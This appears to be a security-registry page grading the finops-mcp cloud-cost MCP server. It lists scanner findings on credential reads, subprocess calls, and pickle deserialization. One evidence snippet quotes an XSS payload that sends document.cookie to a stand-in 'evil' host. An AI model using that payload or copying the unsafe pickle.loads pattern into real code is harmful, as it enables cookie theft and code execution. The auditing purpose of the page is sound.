finops-mcp
PyPI
v0.8.216
Published by getnable — no publish provenance, so origin is unverified, but the source is public: the repository link below is self-declared yet readable, so you can inspect the code before adopting it.
Ask Claude about your AWS, Azure, GCP, and SaaS costs. MCP server with anomaly detection, rightsizing, and Jira ticketing.
The grade answers one question — how safe is this server for you to adopt — so it is computed in two auditable stages. Nothing below is an opinion or an LLM's guess; every line is a real term the deterministic engine applied, and the same input always yields the same number.
1. Threat score — 100 − 6.3 = 94. What the published surface and source actually contain:
| Points | What was found | Category |
|---|---|---|
| −6.3 | Unsafe deserialization MTC-SRC-007 | permissions |
2. Client adoption risk — 94 − 7 = 87. Three small, subtract-only factors that reflect your risk in adopting it — a clean scan proves less on a powerful, unverified or barely-inspectable package, so the grade says so plainly:
| Points | Adoption-risk factor |
|---|---|
| −6 | capability blast radius (high) — client exposure if the model is manipulated |
| −1 | publisher verification (public source) — no provenance, but the source is public and inspectable |
Capability observations and info notes are shown under Findings but never scored.
Open any row's finding below for the file, line and evidence behind a deduction.
In the server's implementation (`src/finops/ambient.py:4`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: fault chain: env vars, ~/.aws/credentials, named profiles, SSO, IMDS, ECS task roles. Azure asked only whether three ser
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/finops/ambient.py
In the server's implementation (`src/finops/analyzers/optimizer.py:59`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: hain (env vars → ~/.aws/credentials → instance profile) """ import boto3 if role_arn: sts = b
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/finops/analyzers/optimizer.py
In the server's implementation (`src/finops/cli_scan.py:827`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: looked in: env vars, ~/.aws/credentials, ~/.aws/config (SSO), instance metadata", " fix: `aws configu
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/finops/cli_scan.py
In the server's implementation (`src/finops/setup/cloud_infra.py:758`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: credentials (IAM role, ~/.aws/credentials, env vars). Zero config if already set up.", }, { "id": "aws_c
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/finops/setup/cloud_infra.py
In the server's implementation (`src/finops/setup_wizard.py:531`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ole credential was ~/.aws/credentials got "Found AWS credentials" from one command and "No unconnected credentia
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/finops/setup_wizard.py
In the server's implementation (`src/finops/connectors/terraform.py:43`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: on.load(f) result = subprocess.run( [os.environ.get("TERRAFORM_BIN", "terraform"), "show", "-json"],
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/finops/connectors/terraform.py
In the server's implementation (`src/finops/connectors/terraform_estimate.py:630`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: plan.bin") r1 = subprocess.run( [tf_bin, "plan", "-out=" + plan_path, "-input=false", "-lock=false"]
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/finops/connectors/terraform_estimate.py
In the server's implementation (`src/finops/remediation/rightsizing_pr.py:56`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: child_env result = subprocess.run( ["git", *args], cwd=tf_dir, capture_output=True,
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/finops/remediation/rightsizing_pr.py
In the server's implementation (`src/finops/setup_wizard.py:889`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ss try: r = subprocess.run(["aws", "--version"], capture_output=True, text=True, timeout=5) blob = (
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/finops/setup_wizard.py
In the server's implementation (`src/finops/tagging/tf_state.py:61`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: erraform") result = subprocess.run( [tf_bin, "show", "-json"], cwd=tf_dir, capture_output=Tr
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/finops/tagging/tf_state.py
In the server's implementation (`src/finops/tools/notifications.py:175`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: subprocess subprocess.Popen(["open", output["html"]]) except Exception: pass resul
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/finops/tools/notifications.py
In the server's implementation (`src/finops/tools/tickets.py:112`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: arwin": subprocess.Popen(["open", path]) elif sys.platform.startswith("linux"):
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/finops/tools/tickets.py
In the server's implementation (`src/finops/reporting/exporter.py:175`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ed `<img src=x onerror="fetch('https://evil/'+document.cookie)">` was written into the export as live markup, so who
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/finops/reporting/exporter.py
In the server's implementation (`src/finops/cache.py:286`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: urn (float(expires_at), pickle.loads(payload)) except Exception: return None finally: try:
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/finops/cache.py
Each tool and what it can reach — statically extracted from the published source.
dismiss_recommendationno sensitive capabilityforget_cost_contextno sensitive capabilityget_learned_cost_contextno sensitive capabilityget_recommendation_learningno sensitive capabilityget_recommendation_qualityno sensitive capabilityget_savings_ledgerno sensitive capabilitymark_recommendation_acted_onno sensitive capabilityremember_cost_contextno sensitive capabilitysuggest_cost_policiesno sensitive capabilityverify_savingsno sensitive capabilityScan history per published version. The engine is deterministic — the same version always yields the same score, so a changed score means the package itself changed.
| Version | Score | Findings | Engine | Scanned |
|---|---|---|---|---|
v0.8.216 latest |
B 87/100 | 14 | 1.13.0 | 2026-09-05 |
v0.8.215 |
B 87/100 | 14 | 1.13.0 | 2026-08-25 |
v0.8.213 |
B 87/100 | 14 | 1.12.1 | 2026-08-20 |
v0.8.212 |
B 86/100 | 14 | 1.12.1 | 2026-08-18 |
v0.8.211 |
B 86/100 | 14 | 1.12.1 | 2026-08-17 |
v0.8.210 |
B 86/100 | 13 | 1.12.1 | 2026-08-09 |
v0.8.206 |
B 86/100 | 13 | 1.12.1 | 2026-08-06 |
v0.8.205 |
B 86/100 | 13 | 1.12.1 | 2026-08-04 |
v0.8.202 |
B 86/100 | 13 | 1.12.1 | 2026-08-03 |
v0.8.200 |
B 86/100 | 13 | 1.12.1 | 2026-08-02 |
Show this server's live Trust Score in your README, docs or website. The badge is served straight from the registry and updates automatically after every rescan — no API key needed. It links back to this page, so anyone who sees the grade can also read the findings behind it instead of taking a number on faith.
The score above is reproducible: the same package version always yields the same result. Run it locally or over the free API — no account, no LLM, fully deterministic.
npx mcptrustchecker scan finops-mcp --online --registry pypi
Independent packages implementing the same tool, scanned with the same engine. Compare all 2 side by side →
A Model Context Protocol server implementation for AdGuard Home that enables AI agents to query and manage DNS records, filtering rules and more
Identity oracle and trust layer for autonomous AI agents. Bidirectional KYA and trust scoring.
MCP server with Airtable integration
A free one-minute reset for people, delivered by AI, with no account or personal data.
Access SEC filings efficiently, save time and tokens, and get cited answers.
A smart [MCP](https://modelcontextprotocol.io) server for [AniList](https://anilist.co) that gets your anime/manga taste - not just API calls.